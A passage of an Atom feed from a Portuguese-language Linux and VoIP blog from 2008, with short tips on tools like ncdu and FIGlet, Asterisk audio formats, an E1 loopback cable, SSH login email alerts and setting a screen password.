alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/5050846517676933585/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=5050846517676933585' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/5050846517676933585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/5050846517676933585'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2009/01/gravao-de-chamadas-asterisk-wav-x-espao.html' title='Gravação de chamadas Asterisk - WAV x Espaço em Disco'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-4780939340181689065</id><published>2008-10-27T16:03:00.001-02:00</published><updated>2008-10-28T10:41:41.033-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>Open Source Security Information Management.</title><content type='html'>Ossim stands for &lt;i&gt;Open Source Security Information Management&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:AquaBase;"&gt;&lt;a class="moz-txt-link-freetext" href="http://www.ossim.net/"&gt;http://www.ossim.net&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-4780939340181689065?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/4780939340181689065/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=4780939340181689065' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/4780939340181689065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/4780939340181689065'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/open-source-security-information.html' title='Open Source Security Information Management.'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-684678869267384279</id><published>2008-10-24T11:46:00.000-02:00</published><updated>2008-10-24T11:47:25.629-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>traceroute de conexões tcp</title><content type='html'>tcptraceroute is a traceroute implementation using TCP packets.&lt;br /&gt;&lt;br /&gt;http://michael.toren.net/code/tcptraceroute/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;:P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-684678869267384279?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/684678869267384279/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=684678869267384279' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/684678869267384279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/684678869267384279'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/traceroute-de-conexes-tcp.html' title='traceroute de conexões tcp'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-6683558067279839699</id><published>2008-10-22T21:06:00.001-02:00</published><updated>2008-10-24T14:18:38.110-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Santa Matilde'/><title type='text'>Manual completo do motor 4 e 6 cilindros do Opala</title><content type='html'>Manual completo com todas as especificações do motor do Opala/Caravans&lt;br /&gt;&lt;br /&gt;Arquivo em formato Word com 4,5Mb&lt;br /&gt;&lt;br /&gt;&lt;a href="http://rapidshare.com/files/139676/Manual_Motor_Opala.doc.html" target="_blank"&gt;http://rapidshare.com/files/139676/Manual_Motor_Opala.doc.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-6683558067279839699?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/6683558067279839699/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=6683558067279839699' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/6683558067279839699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/6683558067279839699'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/manual-completo-do-motor-4-e-6.html' title='Manual completo do motor 4 e 6 cilindros do Opala'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-3237751951590349836</id><published>2008-10-22T20:38:00.002-02:00</published><updated>2008-10-24T14:18:46.502-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>Programa para criação de ASCII a partir de texto</title><content type='html'>FIGlet -- http://www.figlet.org/&lt;br /&gt;&lt;br /&gt;Com esse programa é possível fazer a criação de ASCII a partir de texto, bem legal para trocar o /etc/motd&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;:P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-3237751951590349836?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/3237751951590349836/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=3237751951590349836' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/3237751951590349836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/3237751951590349836'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/programa-para-criao-de-ascii-partir-de.html' title='Programa para criação de ASCII a partir de texto'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-3507217010404126821</id><published>2008-10-22T18:05:00.004-02:00</published><updated>2008-10-24T14:18:55.319-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VoIP'/><title type='text'>Arquivos de Áudio para URA do Asterisk</title><content type='html'>Para que os arquivos de áudio funcionem corretamente é necessário que os arquivos estejam no formato  WAV  de 16 bits mono e em 8khz.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-3507217010404126821?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/3507217010404126821/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=3507217010404126821' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/3507217010404126821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/3507217010404126821'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/arquivos-de-udio-para-ura-do-asterisk.html' title='Arquivos de Áudio para URA do Asterisk'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-4709073225619479510</id><published>2008-10-22T09:31:00.002-02:00</published><updated>2008-10-24T14:19:00.405-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>NCDU - Rediscover your hard drive!</title><content type='html'>Ncurses + du = ncdu&lt;br /&gt;&lt;br /&gt;:P&lt;br /&gt;&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://dev.yorhel.nl/ncdu/"&gt;http://dev.yorhel.nl/ncdu/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-4709073225619479510?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/4709073225619479510/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=4709073225619479510' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/4709073225619479510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/4709073225619479510'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/ncdu-rediscover-your-hard-drive.html' title='NCDU - Rediscover your hard drive!'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-1039762550120716266</id><published>2008-10-20T15:40:00.002-02:00</published><updated>2008-10-24T14:19:15.256-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>Linux - Semáforos</title><content type='html'>http://www.dicas-l.com.br/dicas-l/20050921.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-1039762550120716266?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/1039762550120716266/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=1039762550120716266' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/1039762550120716266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/1039762550120716266'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/linux-semforos.html' title='Linux - Semáforos'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-3144970377285569422</id><published>2008-10-20T13:51:00.001-02:00</published><updated>2008-10-24T14:19:18.226-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>Forward no dnscache por zona</title><content type='html'>&lt;span style="font-family:Arial;"&gt;&lt;a class="moz-txt-link-freetext" href="http://www.skarnet.org/software/djbdns-fwdzone/"&gt;http://www.skarnet.org/software/djbdns-fwdzone/&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-3144970377285569422?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/3144970377285569422/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=3144970377285569422' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/3144970377285569422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/3144970377285569422'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/forward-no-dnscache-por-zona.html' title='Forward no dnscache por zona'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-2284456228959294504</id><published>2008-10-18T16:26:00.000-03:00</published><updated>2008-10-18T16:32:17.206-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VoIP'/><title type='text'>Esquema para construção do cabo cross/loopback E1</title><content type='html'>&lt;span style="font-family:Arial;"&gt;O cabo loopback para E1 é bem simples:&lt;br /&gt;&lt;br /&gt;1. Pegue um conector RJ45 e uns 15 cm de cabo CAT5;&lt;br /&gt;2. Crimpe o RJ45 em um dos lados do cabo utilizando uma pinagem qualquer;&lt;br /&gt;3. Após crimpar, descasque o outro lado do cabo (somente os fios ligados aos pinos 1,2,4 e 5);&lt;br /&gt;4. Ligue o fio do pino 1 ao fio do pino 4;&lt;br /&gt;5. Ligue o fio do pino 2 ao fio do pino 5;&lt;br /&gt;6. Isole com fita isolante as ligações;&lt;br /&gt;&lt;br /&gt;Está pronto o cabo.&lt;br /&gt;&lt;br /&gt;:P&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-2284456228959294504?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/2284456228959294504/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=2284456228959294504' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/2284456228959294504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/2284456228959294504'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/esquema-para-construo-do-cabo.html' title='Esquema para construção do cabo cross/loopback E1'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-6554850251965412695</id><published>2008-10-17T22:13:00.002-03:00</published><updated>2008-10-17T22:13:01.023-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>monitorar os logins realizados via SSH</title><content type='html'>Pessoal vai a dica para monitorar os logins realizados via SSH de forma simples.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Adicione no /etc/profile&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;----------&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Notificacao login ssh por SMS/E-mail&lt;br /&gt;&lt;br /&gt;# E-mail's/SMS para receber as notificacoes&lt;br /&gt;to=(email@email.com.br)&lt;br /&gt;to_sms=(email@email.com.br)&lt;br /&gt;&lt;br /&gt;# Usuario SMTP&lt;br /&gt;from='XXXXXXXXXXXXXXXXXXX'&lt;br /&gt;smtp_server='XXXXXXXXXXXXXX'&lt;br /&gt;smtp_user='XXXXXXXXXXXXXXX'&lt;br /&gt;smtp_passwd='XXXXXXXXXXXXX'&lt;br /&gt;&lt;br /&gt;# Binario do sendEmail (Envio por SMTP Auth)&lt;br /&gt;mailcmd='/usr/bin/sendEmail -q'&lt;br /&gt;&lt;br /&gt;# Pega informacoes do login feito por SSH&lt;br /&gt;SSHCLIENT=$(echo $SSH_CLIENT|awk '{print $1}')&lt;br /&gt;&lt;br /&gt;if [ -n "$SSH_TTY" ]; then&lt;br /&gt;       subject="URGENTE - Login realizado no bob-espoja"&lt;br /&gt;       mensagem="Usuario: $USER realizou o login partir do IP: $SSHCLIENT"&lt;br /&gt;&lt;br /&gt;       # Notifica via e-mail&lt;br /&gt;       for ((b=0;$b&lt;${#to[*]};b++)); do                 $mailcmd -q -f "$from" -t "${to[$b]}" -u "$subject" -s "$smtp_server" -xu "$smtp_user" -xp "$smtp_passwd" -m "$mensagem"         done          # Notifica via SMS         for ((b=0;$b&lt;${#to_sms[*]};b++)); do                 $mailcmd -q -f "$from" -t "${to_sms[$b]}" -u "$subject" -s "$smtp_server" -xu "$smtp_user" -xp "$smtp_passwd" -m "$mensagem"         done fi &lt;/p&gt;&lt;p&gt;-------------&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;sendEmail --&gt; http://caspian.dotconf.net/menu/Software/SendEmail/&lt;/p&gt;&lt;br /&gt;;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-6554850251965412695?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/6554850251965412695/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=6554850251965412695' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/6554850251965412695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/6554850251965412695'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/monitorar-os-logins-realizados-via-ssh.html' title='monitorar os logins realizados via SSH'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-2161769109674779574</id><published>2008-10-17T22:01:00.002-03:00</published><updated>2008-10-17T22:01:00.662-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>Configurando Senha no Screen</title><content type='html'>&lt;span style="font-family:AquaBase;"&gt;Setando senha no screen&lt;br /&gt;&lt;br /&gt;Control + a + :&lt;br /&gt;&lt;br /&gt;Digite "password"  + [enter]&lt;br /&gt;&lt;br /&gt;Digite agora a senha que será usada para acesso ao screen&lt;br /&gt;&lt;br /&gt;"senhasenhasenha"&lt;br /&gt;&lt;br /&gt;Obs: Não vai mostrada a senha :-)&lt;br /&gt;&lt;br /&gt;Digite novamente a senha.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A senha criptografada ficara no buffer do screen.&lt;br /&gt;&lt;br /&gt;Recupera a senha com o comando:&lt;br /&gt;&lt;br /&gt;Control + a + ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copie a senha e adicione da seguinte linha, na forma abaixo no seu screenrc&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;password SENHACRIPTOGRAFADA&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;É preciso fechar (matar todas as janelas) e abrir novamente o screen.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Be happy :P &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-2161769109674779574?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/2161769109674779574/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=2161769109674779574' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/2161769109674779574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/2161769109674779574'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2008/10/configurando-senha-no-screen.html' title='Configurando Senha no Screen'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>1</thr:total></entry></feed>
